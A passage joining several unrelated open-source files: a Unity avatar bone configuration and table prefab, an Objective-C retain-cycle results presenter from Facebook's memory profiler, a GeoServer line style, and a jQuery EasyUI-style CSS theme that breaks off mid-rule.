0.99995327} scale: {x: 1, y: 1, z: 1} - name: RightLowerArm parentName: RightUpperArm position: {x: 0.2598076, y: -0.000000058593667, z: 0.0000000065556907} rotation: {x: 0.000000001217143, y: 0.010789105, z: -0.00000011280568, w: 0.9999418} scale: {x: 1, y: 1, z: 1} - name: RightHand parentName: RightLowerArm position: {x: 0.25833765, y: 8.2224006e-13, z: -0.0000000040112766} rotation: {x: 0, y: -0.0011199615, z: -0, w: 0.9999994} scale: {x: 1, y: 1, z: 1} - name: RightThumbProximal parentName: RightHand position: {x: 0.032763, y: 0.019399999, z: -0.03258728} rotation: {x: -0.7071068, y: 0, z: 0, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: RightThumbIntermediate parentName: RightThumbProximal position: {x: 0.015591, y: 0.0226969, z: 0.0022699998} rotation: {x: 0.00000017597144, y: 0.00000044227704, z: 0.46174863, w: 0.8870109} scale: {x: 1, y: 1, z: 1} - name: RightThumbDistal parentName: RightThumbIntermediate position: {x: 0.031395752, y: -0.00000016593874, z: 0.00000001956757} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightThumbDistalEnd parentName: RightThumbDistal position: {x: 0.032299694, y: 0.00000041872633, z: 0.000000020130532} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightPinkyProximal parentName: RightHand position: {x: 0.09005299, y: 0.01086, z: 0.03370722} rotation: {x: 1, y: 0.0000009611853, z: 0.00000009163637, w: 0.00000048049026} scale: {x: 1, y: 1, z: 1} - name: RightPinkyIntermediate parentName: RightPinkyProximal position: {x: 0.02032, y: 0.0000000390623, z: 0.0000000037241212} rotation: {x: 0.00000067755235, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightPinkyDistal parentName: RightPinkyIntermediate position: {x: 0.01966, y: 0.00000003779355, z: 0.0000000036031094} rotation: {x: 0.00000052042185, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightPinkyDistalEnd parentName: RightPinkyDistal position: {x: 0.021772001, y: 0.000000041853575, z: 0.000000003990134} rotation: {x: 0.00000086590364, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightRingProximal parentName: RightHand position: {x: 0.100981995, y: 0.00868, z: 0.0151886195} rotation: {x: 1, y: 0, z: -0, w: 6.123234e-17} scale: {x: 1, y: 1, z: 1} - name: RightRingIntermediate parentName: RightRingProximal position: {x: 0.028015, y: -3.6322944e-13, z: 2.509104e-16} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightRingDistal parentName: RightRingIntermediate position: {x: 0.029937, y: -3.8795632e-13, z: 2.7311487e-16} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightRingDistalEnd parentName: RightRingDistal position: {x: 0.026131999, y: -3.3821833e-13, z: 2.3536727e-16} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightMiddleProximal parentName: RightHand position: {x: 0.101765, y: 0.0092, z: -0.0076735197} rotation: {x: 1, y: 0.000003907246, z: 7.633312e-12, w: 0.0000019536299} scale: {x: 1, y: 1, z: 1} - name: RightMiddleIntermediate parentName: RightMiddleProximal position: {x: 0.038115, y: 0.00000029784886, z: 1.164116e-12} rotation: {x: 0.0000027608096, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightMiddleDistal parentName: RightMiddleIntermediate position: {x: 0.027341, y: 0.00000021365567, z: -3.446715e-13} rotation: {x: 0.0000021149021, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightMiddleDistalEnd parentName: RightMiddleDistal position: {x: 0.029609999, y: 0.00000023138672, z: -1.3519946e-12} rotation: {x: 0.000003517392, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightIndexProximal parentName: RightHand position: {x: 0.10144399, y: 0.010419999, z: -0.03227988} rotation: {x: 1, y: -0.0000016072119, z: -0.00000006971279, w: 0.0000008035582} scale: {x: 1, y: 1, z: 1} - name: RightIndexIntermediate parentName: RightIndexProximal position: {x: 0.030381, y: -0.00000009765779, z: -0.0000000042359667} rotation: {x: 0.0000011344717, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightIndexDistal parentName: RightIndexIntermediate position: {x: 0.023294998, y: -0.000000074880305, z: -0.000000003247809} rotation: {x: 0.00000087025205, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightIndexDistalEnd parentName: RightIndexDistal position: {x: 0.027727999, y: -0.000000089129905, z: -0.0000000038657064} rotation: {x: 0.0000014476384, y: 0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} armTwist: 0.5 foreArmTwist: 0.5 upperLegTwist: 0.5 legTwist: 0.5 armStretch: 0.05 legStretch: 0.05 feetSpacing: 0 rootMotionBoneName: rootMotionBoneRotation: {x: 0, y: 0, z: 0, w: 1} hasTranslationDoF: 1 hasExtraRoot: 1 skeletonHasParents: 1 lastHumanDescriptionAvatarSource: {fileID: 9000000, guid: 20d97ea0953936148b25caa82b5e14f9, type: 3} animationType: 3 humanoidOversampling: 1 additionalBone: 0 userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
/** * Copyright (c) 2016-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the license found in the LICENSE file in * the root directory of this source tree. */ #import "FBRetainCyclePresenter.h" #import "FBMemoryProfilerPresenting.h" #import "FBSingleRetainCycleViewController.h" #import <FBRetainCycleDetector/FBObjectiveCGraphElement.h> static NSString *const FBRetainCycleDetectorIdentifier = @"retain_cycle_detector_identifier"; static NSString *const FBRetainCycleFromMemoryProfilerPerfEvent = @"retain_cycle_detector_memory_profiler_perf"; @interface FBRetainCyclePresenter () <UITableViewDataSource, UITableViewDelegate> @end @implementation FBRetainCyclePresenter { NSArray<NSArray<FBObjectiveCGraphElement *> *> *_retainCycles; __weak id<FBMemoryProfilerPresenting> _delegate; UINavigationController *_resultsViewController; } - (instancetype)initWithDelegate:(id<FBMemoryProfilerPresenting>)delegate { if (self = [super init]) { _delegate = delegate; } return self; } - (void)presentRetainCycles:(NSSet<NSArray<FBObjectiveCGraphElement *> *> *)retainCycles { if (![_delegate memoryProfilerCanPresent]) { return; } _retainCycles = [retainCycles allObjects]; UITableViewController *tableViewController = [UITableViewController new]; tableViewController.tableView.delegate = self; tableViewController.tableView.dataSource = self; _resultsViewController = [[UINavigationController alloc] initWithRootViewController:tableViewController]; UIBarButtonItem *closeButton = [[UIBarButtonItem alloc] initWithTitle:@"Close" style:UIBarButtonItemStylePlain target:self action:@selector(_dismissTableViewController)]; tableViewController.navigationItem.rightBarButtonItem = closeButton; tableViewController.title = @"Results"; [_delegate memoryProfilerPresenter:self presentViewController:_resultsViewController]; } - (void)_dismissTableViewController { [_delegate memoryProfilerPresenter:self dismissViewController:_resultsViewController]; _resultsViewController = nil; _retainCycles = nil; } #pragma mark - UITableViewDataSource - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { return [_retainCycles count]; } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:FBRetainCycleDetectorIdentifier]; if (!cell) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:FBRetainCycleDetectorIdentifier]; } NSArray<FBObjectiveCGraphElement *> *retainCycle = _retainCycles[indexPath.row]; cell.textLabel.text = [retainCycle[0] classNameOrNull]; return cell; } - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { FBSingleRetainCycleViewController *summary = [[FBSingleRetainCycleViewController alloc] initWithRetainCycle:_retainCycles[indexPath.row]]; [_resultsViewController pushViewController:summary animated:YES]; } @end
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?><sld:StyledLayerDescriptor xmlns="http://www.opengis.net/sld" xmlns:sld="http://www.opengis.net/sld" xmlns:ogc="http://www.opengis.net/ogc" xmlns:gml="http://www.opengis.net/gml" version="1.0.0"> <sld:NamedLayer> <sld:Name/> <sld:UserStyle> <sld:Name>Default Styler</sld:Name> <sld:FeatureTypeStyle> <sld:Rule> <sld:MinScaleDenominator>10000.0</sld:MinScaleDenominator> <sld:LineSymbolizer> <sld:Stroke> <sld:CssParameter name="stroke">#ff0000</sld:CssParameter> <sld:CssParameter name="stroke-width">2</sld:CssParameter> </sld:Stroke> </sld:LineSymbolizer> </sld:Rule> <sld:Rule> <sld:MaxScaleDenominator>10000.0</sld:MaxScaleDenominator> <sld:LineSymbolizer> <sld:Stroke> <sld:CssParameter name="stroke">#ff0000</sld:CssParameter> <sld:CssParameter name="stroke-width">4</sld:CssParameter> </sld:Stroke> </sld:LineSymbolizer> </sld:Rule> <sld:Rule> <sld:LineSymbolizer> <sld:Stroke> <sld:CssParameter name="stroke">#ff0000</sld:CssParameter> </sld:Stroke> </sld:LineSymbolizer> </sld:Rule> <sld:VendorOption name="ruleEvaluation">first</sld:VendorOption> </sld:FeatureTypeStyle> </sld:UserStyle> </sld:NamedLayer> </sld:StyledLayerDescriptor>
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!1001 &100100000 Prefab: m_ObjectHideFlags: 1 serializedVersion: 2 m_Modification: m_TransformParent: {fileID: 0} m_Modifications: [] m_RemovedComponents: [] m_ParentPrefab: {fileID: 0} m_RootGameObject: {fileID: 1000012634256044} m_IsPrefabParent: 1 --- !u!1 &1000012634256044 GameObject: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} serializedVersion: 4 m_Component: - 4: {fileID: 4000011272021182} m_Layer: 0 m_Name: Weird Table m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!1 &1000012934959352 GameObject: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} serializedVersion: 4 m_Component: - 4: {fileID: 4000012105117130} - 33: {fileID: 33000011438450836} - 23: {fileID: 23000010191256184} - 64: {fileID: 64000010941696098} m_Layer: 0 m_Name: Table (3) m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!1 &1000013687127692 GameObject: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} serializedVersion: 4 m_Component: - 4: {fileID: 4000010213783964} - 33: {fileID: 33000013398391394} - 23: {fileID: 23000010364422500} - 64: {fileID: 64000013517629686} m_Layer: 0 m_Name: Table (2) m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!4 &4000010213783964 Transform: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000013687127692} m_LocalRotation: {x: -0.7071068, y: 0.00011705608, z: -0.00011731009, w: 0.70710677} m_LocalPosition: {x: 0, y: 0, z: 0} m_LocalScale: {x: 21.321606, y: 62.18895, z: 100.00003} m_LocalEulerAnglesHint: {x: -89.981, y: 0, z: -0.018000001} m_Children: [] m_Father: {fileID: 4000011272021182} m_RootOrder: 0 --- !u!4 &4000011272021182 Transform: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000012634256044} m_LocalRotation: {x: 0, y: 0, z: 0, w: 1} m_LocalPosition: {x: -2.190001, y: 0, z: -3.169} m_LocalScale: {x: 1, y: 1, z: 1} m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0} m_Children: - {fileID: 4000010213783964} - {fileID: 4000012105117130} m_Father: {fileID: 0} m_RootOrder: 0 --- !u!4 &4000012105117130 Transform: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000012934959352} m_LocalRotation: {x: -0.50008297, y: -0.49991712, z: -0.5000828, w: 0.49991724} m_LocalPosition: {x: 0, y: -0.001, z: 0} m_LocalScale: {x: 39.279137, y: 30.309559, z: 100.00009} m_LocalEulerAnglesHint: {x: -89.981, y: 0, z: -90.018005} m_Children: [] m_Father: {fileID: 4000011272021182} m_RootOrder: 1 --- !u!23 &23000010191256184 MeshRenderer: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000012934959352} m_Enabled: 1 m_CastShadows: 1 m_ReceiveShadows: 1 m_MotionVectors: 1 m_LightProbeUsage: 1 m_ReflectionProbeUsage: 1 m_Materials: - {fileID: 2100000, guid: d07127d506ba1204e94715378a104735, type: 2} m_SubsetIndices: m_StaticBatchRoot: {fileID: 0} m_ProbeAnchor: {fileID: 0} m_LightProbeVolumeOverride: {fileID: 0} m_ScaleInLightmap: 1 m_PreserveUVs: 0 m_IgnoreNormalsForChartDetection: 0 m_ImportantGI: 0 m_SelectedWireframeHidden: 0 m_MinimumChartSize: 4 m_AutoUVMaxDistance: 0.5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingOrder: 0 --- !u!23 &23000010364422500 MeshRenderer: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000013687127692} m_Enabled: 1 m_CastShadows: 1 m_ReceiveShadows: 1 m_MotionVectors: 1 m_LightProbeUsage: 1 m_ReflectionProbeUsage: 1 m_Materials: - {fileID: 2100000, guid: d07127d506ba1204e94715378a104735, type: 2} m_SubsetIndices: m_StaticBatchRoot: {fileID: 0} m_ProbeAnchor: {fileID: 0} m_LightProbeVolumeOverride: {fileID: 0} m_ScaleInLightmap: 1 m_PreserveUVs: 0 m_IgnoreNormalsForChartDetection: 0 m_ImportantGI: 0 m_SelectedWireframeHidden: 0 m_MinimumChartSize: 4 m_AutoUVMaxDistance: 0.5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingOrder: 0 --- !u!33 &33000011438450836 MeshFilter: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000012934959352} m_Mesh: {fileID: 4300006, guid: 2e710f2b5a4f9674183207e79056e879, type: 3} --- !u!33 &33000013398391394 MeshFilter: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000013687127692} m_Mesh: {fileID: 4300006, guid: 2e710f2b5a4f9674183207e79056e879, type: 3} --- !u!64 &64000010941696098 MeshCollider: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000012934959352} m_Material: {fileID: 0} m_IsTrigger: 0 m_Enabled: 1 serializedVersion: 2 m_Convex: 0 m_Mesh: {fileID: 4300006, guid: 2e710f2b5a4f9674183207e79056e879, type: 3} --- !u!64 &64000013517629686 MeshCollider: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 1000013687127692} m_Material: {fileID: 0} m_IsTrigger: 0 m_Enabled: 1 serializedVersion: 2 m_Convex: 0 m_Mesh: {fileID: 4300006, guid: 2e710f2b5a4f9674183207e79056e879, type: 3}
{ "pile_set_name": "Github" }
.panel { overflow: hidden; text-align: left; } .panel-header, .panel-body { border-width: 1px; border-style: solid; } .panel-header { padding: 5px; position: relative; } .panel-title { background: url('images/blank.gif') no-repeat; } .panel-header-noborder { border-width: 0 0 1px 0; } .panel-body { overflow: auto; border-top-width: 0px; } .panel-body-noheader { border-top-width: 1px; } .panel-body-noborder { border-width: 0px; } .panel-with-icon { padding-left: 18px; } .panel-icon, .panel-tool { position: absolute; top: 50%; margin-top: -8px; height: 16px; overflow: hidden; } .panel-icon { left: 5px; width: 16px; } .panel-tool { right: 5px; width: auto; } .panel-tool a { display: inline-block; width: 16px; height: 16px; opacity: 0.6; filter: alpha(opacity=60); margin: 0 0 0 2px; vertical-align: top; } .panel-tool a:hover { opacity: 1; filter: alpha(opacity=100); background-color: #e6e6e6; -moz-border-radius: 3px 3px 3px 3px; -webkit-border-radius: 3px 3px 3px 3px; border-radius: 3px 3px 3px 3px; } .panel-loading { padding: 11px 0px 10px 30px; } .panel-noscroll { overflow: hidden; } .panel-fit, .panel-fit body { height: 100%; margin: 0; padding: 0; border: 0; overflow: hidden; } .panel-loading { background: url('images/loading.gif') no-repeat 10px 10px; } .panel-tool-close { background: url('images/panel_tools.png') no-repeat -16px 0px; } .panel-tool-min { background: url('images/panel_tools.png') no-repeat 0px 0px; } .panel-tool-max { background: url('images/panel_tools.png') no-repeat 0px -16px; } .panel-tool-restore { background: url('images/panel_tools.png') no-repeat -16px -16px; } .panel-tool-collapse { background: url('images/panel_tools.png') no-repeat -32px 0; } .panel-tool-expand { background: url('images/panel_tools.png') no-repeat -32px -16px; } .panel-header, .panel-body { border-color: #D4D4D4; } .panel-header { background-color: #F2F2F2; background: -webkit-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -moz-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -o-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: linear-gradient(to bottom, #ffffff 0, #F2F2F2 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#F2F2F2, GradientType=0); } .panel-body { background-color: #ffffff; color: #333; font-size: 12px; } .panel-title { font-size: 12px; font-weight: bold; color: #777; height: 16px; line-height: 16px; } .accordion { overflow: hidden; border-width: 1px; border-style: solid; } .accordion .accordion-header { border-width: 0 0 1px; cursor: pointer; } .accordion .accordion-body { border-width: 0 0 1px; } .accordion-noborder { border-width: 0; } .accordion-noborder .accordion-header { border-width: 0 0 1px; } .accordion-noborder .accordion-body { border-width: 0 0 1px; } .accordion-collapse { background: url('images/accordion_arrows.png') no-repeat 0 0; } .accordion-expand { background: url('images/accordion_arrows.png') no-repeat -16px 0; } .accordion { background: #ffffff; border-color: #D4D4D4; } .accordion .accordion-header { background: #F2F2F2; filter: none; } .accordion .accordion-header-selected { background: #0081c2; } .accordion .accordion-header-selected .panel-title { color: #fff; } .window { overflow: hidden; padding: 5px; border-width: 1px; border-style: solid; } .window .window-header { background: transparent; padding: 0px 0px 6px 0px; } .window .window-body { border-width: 1px; border-style: solid; border-top-width: 0px; } .window .window-body-noheader { border-top-width: 1px; } .window .window-header .panel-icon, .window .window-header .panel-tool { top: 50%; margin-top: -11px; } .window .window-header .panel-icon { left: 1px; } .window .window-header .panel-tool { right: 1px; } .window .window-header .panel-with-icon { padding-left: 18px; } .window-proxy { position: absolute; overflow: hidden; } .window-proxy-mask { position: absolute; filter: alpha(opacity=5); opacity: 0.05; } .window-mask { position: absolute; left: 0; top: 0; width: 100%; height: 100%; filter: alpha(opacity=40); opacity: 0.40; font-size: 1px; *zoom: 1; overflow: hidden; } .window, .window-shadow { position: absolute; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .window-shadow { background: #ccc; -moz-box-shadow: 2px 2px 3px #cccccc; -webkit-box-shadow: 2px 2px 3px #cccccc; box-shadow: 2px 2px 3px #cccccc; filter: progid:DXImageTransform.Microsoft.Blur(pixelRadius=2, MakeShadow=false, ShadowOpacity=0.2); } .window, .window .window-body { border-color: #D4D4D4; } .window { background-color: #F2F2F2; background: -webkit-linear-gradient(top, #ffffff 0, #F2F2F2 20%); background: -moz-linear-gradient(top, #ffffff 0, #F2F2F2 20%); background: -o-linear-gradient(top, #ffffff 0, #F2F2F2 20%); background: linear-gradient(to bottom, #ffffff 0, #F2F2F2 20%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#F2F2F2, GradientType=0); } .window-proxy { border: 1px dashed #D4D4D4; } .window-proxy-mask, .window-mask { background: #ccc; } .dialog-content { overflow: auto; } .dialog-toolbar { padding: 2px 5px; } .dialog-tool-separator { float: left; height: 24px; border-left: 1px solid #ccc; border-right: 1px solid #fff; margin: 2px 1px; } .dialog-button { padding: 5px; text-align: right; } .dialog-button .l-btn { margin-left: 5px; } .dialog-toolbar, .dialog-button { background: #F5F5F5; } .dialog-toolbar { border-bottom: 1px solid #e6e6e6; } .dialog-button { border-top: 1px solid #e6e6e6; } .combo { display: inline-block; white-space: nowrap; margin: 0; padding: 0; border-width: 1px; border-style: solid; overflow: hidden; vertical-align: middle; } .combo .combo-text { font-size: 12px; border: 0px; line-height: 20px; height: 20px; margin: 0; padding: 0px 2px; *margin-top: -1px; *height: 18px; *line-height: 18px; _height: 18px; _line-height: 18px; vertical-align: baseline; } .combo-arrow { width: 18px; height: 20px; overflow: hidden; display: inline-block; vertical-align: top; cursor: pointer; opacity: 0.6; filter: alpha(opacity=60); } .combo-arrow-hover { opacity: 1.0; filter: alpha(opacity=100); } .combo-panel { overflow: auto; } .combo-arrow { background: url('images/combo_arrow.png') no-repeat center center; } .combo, .combo-panel { background-color: #ffffff; } .combo { border-color: #D4D4D4; background-color: #ffffff; } .combo-arrow { background-color: #F2F2F2; } .combo-arrow-hover { background-color: #e6e6e6; } .combobox-item { padding: 2px; font-size: 12px; padding: 3px; padding-right: 0px; } .combobox-item-hover { background-color: #e6e6e6; color: #00438a; } .combobox-item-selected { background-color: #0081c2; color: #fff; } .layout { position: relative; overflow: hidden; margin: 0; padding: 0; z-index: 0; } .layout-panel { position: absolute; overflow: hidden; } .layout-panel-east, .layout-panel-west { z-index: 2; } .layout-panel-north, .layout-panel-south { z-index: 3; } .layout-expand { position: absolute; padding: 0px; font-size: 1px; cursor: pointer; z-index: 1; } .layout-expand .panel-header, .layout-expand .panel-body { background: transparent; filter: none; overflow: hidden; } .layout-expand .panel-header { border-bottom-width: 0px; } .layout-split-proxy-h, .layout-split-proxy-v { position: absolute; font-size: 1px; display: none; z-index: 5; } .layout-split-proxy-h { width: 5px; cursor: e-resize; } .layout-split-proxy-v { height: 5px; cursor: n-resize; } .layout-mask { position: absolute; background: #fafafa; filter: alpha(opacity=10); opacity: 0.10; z-index: 4; } .layout-button-up { background: url('images/layout_arrows.png') no-repeat -16px -16px; } .layout-button-down { background: url('images/layout_arrows.png') no-repeat -16px 0; } .layout-button-left { background: url('images/layout_arrows.png') no-repeat 0 0; } .layout-button-right { background: url('images/layout_arrows.png') no-repeat 0 -16px; } .layout-split-proxy-h, .layout-split-proxy-v { background-color: #bbb; } .layout-split-north { border-bottom: 5px solid #eee; } .layout-split-south { border-top: 5px solid #eee; } .layout-split-east { border-left: 5px solid #eee; } .layout-split-west { border-right: 5px solid #eee; } .layout-expand { background-color: #F2F2F2; } .layout-expand-over { background-color: #F2F2F2; } .tabs-container { overflow: hidden; } .tabs-header { border-width: 1px; border-style: solid; border-bottom-width: 0; position: relative; padding: 0; padding-top: 2px; overflow: hidden; } .tabs-header-plain { border: 0; background: transparent; } .tabs-scroller-left, .tabs-scroller-right { position: absolute; top: auto; bottom: 0; width: 18px; height: 28px !important; height: 30px; font-size: 1px; display: none; cursor: pointer; border-width: 1px; border-style: solid; } .tabs-scroller-left { left: 0; } .tabs-scroller-right { right: 0; } .tabs-header-plain .tabs-scroller-left, .tabs-header-plain .tabs-scroller-right { height: 25px !important; height: 27px; } .tabs-tool { position: absolute; bottom: 0; padding: 1px; overflow: hidden; border-width: 1px; border-style: solid; } .tabs-header-plain .tabs-tool { padding: 0 1px; } .tabs-wrap { position: relative; left: 0; overflow: hidden; width: 100%; margin: 0; padding: 0; } .tabs-scrolling { margin-left: 18px; margin-right: 18px; } .tabs-disabled { opacity: 0.3; filter: alpha(opacity=30); } .tabs { list-style-type: none; height: 26px; margin: 0px; padding: 0px; padding-left: 4px; width: 5000px; border-style: solid; border-width: 0 0 1px 0; } .tabs li { float: left; display: inline-block; margin: 0 4px -1px 0; padding: 0; position: relative; border: 0; } .tabs li a.tabs-inner { display: inline-block; text-decoration: none; margin: 0; padding: 0 10px; height: 25px; line-height: 25px; text-align: center; white-space: nowrap; border-width: 1px; border-style: solid; -moz-border-radius: 5px 5px 0 0; -webkit-border-radius: 5px 5px 0 0; border-radius: 5px 5px 0 0; } .tabs li.tabs-selected a.tabs-inner { font-weight: bold; outline: none; } .tabs li.tabs-selected a:hover.tabs-inner { cursor: default; pointer: default; } .tabs li a.tabs-close, .tabs-p-tool { position: absolute; font-size: 1px; display: block; height: 12px; padding: 0; top: 50%; margin-top: -6px; overflow: hidden; } .tabs li a.tabs-close { width: 12px; right: 5px; opacity: 0.6; filter: alpha(opacity=60); } .tabs-p-tool { right: 16px; } .tabs-p-tool a { display: inline-block; font-size: 1px; width: 12px; height: 12px; margin: 0; opacity: 0.6; filter: alpha(opacity=60); } .tabs li a:hover.tabs-close, .tabs-p-tool a:hover { opacity: 1; filter: alpha(opacity=100); cursor: hand; cursor: pointer; } .tabs-with-icon { padding-left: 18px; } .tabs-icon { position: absolute; width: 16px; height: 16px; left: 10px; top: 50%; margin-top: -8px; } .tabs-title { font-size: 12px; } .tabs-closable { padding-right: 8px; } .tabs-panels { margin: 0px; padding: 0px; border-width: 1px; border-style: solid; border-top-width: 0; overflow: hidden; } .tabs-header-bottom { border-width: 0 1px 1px 1px; padding: 0 0 2px 0; } .tabs-header-bottom .tabs { border-width: 1px 0 0 0; } .tabs-header-bottom .tabs li { margin: -1px 4px 0 0; } .tabs-header-bottom .tabs li a.tabs-inner { -moz-border-radius: 0 0 5px 5px; -webkit-border-radius: 0 0 5px 5px; border-radius: 0 0 5px 5px; } .tabs-header-bottom .tabs-tool { top: 0; } .tabs-header-bottom .tabs-scroller-left, .tabs-header-bottom .tabs-scroller-right { top: 0; bottom: auto; } .tabs-panels-top { border-width: 1px 1px 0 1px; } .tabs-header-left { float: left; border-width: 1px 0 1px 1px; padding: 0; } .tabs-header-right { float: right; border-width: 1px 1px 1px 0; padding: 0; } .tabs-header-left .tabs-wrap, .tabs-header-right .tabs-wrap { height: 100%; } .tabs-header-left .tabs { height: 100%; padding: 4px 0 0 4px; border-width: 0 1px 0 0; } .tabs-header-right .tabs { height: 100%; padding: 4px 4px 0 0; border-width: 0 0 0 1px; } .tabs-header-left .tabs li, .tabs-header-right .tabs li { display: block; width: 100%; position: relative; } .tabs-header-left .tabs li { left: auto; right: 0; margin: 0 -1px 4px 0; float: right; } .tabs-header-right .tabs li { left: 0; right: auto; margin: 0 0 4px -1px; float: left; } .tabs-header-left .tabs li a.tabs-inner { display: block; text-align: left; -moz-border-radius: 5px 0 0 5px; -webkit-border-radius: 5px 0 0 5px; border-radius: 5px 0 0 5px; } .tabs-header-right .tabs li a.tabs-inner { display: block; text-align: left; -moz-border-radius: 0 5px 5px 0; -webkit-border-radius: 0 5px 5px 0; border-radius: 0 5px 5px 0; } .tabs-panels-right { float: right; border-width: 1px 1px 1px 0; } .tabs-panels-left { float: left; border-width: 1px 0 1px 1px; } .tabs-header-noborder, .tabs-panels-noborder { border: 0px; } .tabs-header-plain { border: 0px; background: transparent; } .tabs-scroller-left { background: #F2F2F2 url('images/tabs_icons.png') no-repeat 1px center; } .tabs-scroller-right { background: #F2F2F2 url('images/tabs_icons.png') no-repeat -15px center; } .tabs li a.tabs-close { background: url('images/tabs_icons.png') no-repeat -34px center; } .tabs li a.tabs-inner:hover { background: #e6e6e6; color: #00438a; filter: none; } .tabs li.tabs-selected a.tabs-inner { background-color: #ffffff; color: #777; background: -webkit-linear-gradient(top, #ffffff 0, #ffffff 100%); background: -moz-linear-gradient(top, #ffffff 0, #ffffff 100%); background: -o-linear-gradient(top, #ffffff 0, #ffffff 100%); background: linear-gradient(to bottom, #ffffff 0, #ffffff 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#ffffff, GradientType=0); } .tabs-header-bottom .tabs li.tabs-selected a.tabs-inner { background: -webkit-linear-gradient(top, #ffffff 0, #ffffff 100%); background: -moz-linear-gradient(top, #ffffff 0, #ffffff 100%); background: -o-linear-gradient(top, #ffffff 0, #ffffff 100%); background: linear-gradient(to bottom, #ffffff 0, #ffffff 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#ffffff, GradientType=0); } .tabs-header-left .tabs li.tabs-selected a.tabs-inner { background: -webkit-linear-gradient(left, #ffffff 0, #ffffff 100%); background: -moz-linear-gradient(left, #ffffff 0, #ffffff 100%); background: -o-linear-gradient(left, #ffffff 0, #ffffff 100%); background: linear-gradient(to right, #ffffff 0, #ffffff 100%); background-repeat: repeat-y; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#ffffff, GradientType=1); } .tabs-header-right .tabs li.tabs-selected a.tabs-inner { background: -webkit-linear-gradient(left, #ffffff 0, #ffffff 100%); background: -moz-linear-gradient(left, #ffffff 0, #ffffff 100%); background: -o-linear-gradient(left, #ffffff 0, #ffffff 100%); background: linear-gradient(to right, #ffffff 0, #ffffff 100%); background-repeat: repeat-y; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#ffffff, GradientType=1); } .tabs li a.tabs-inner { color: #777; background-color: #F2F2F2; background: 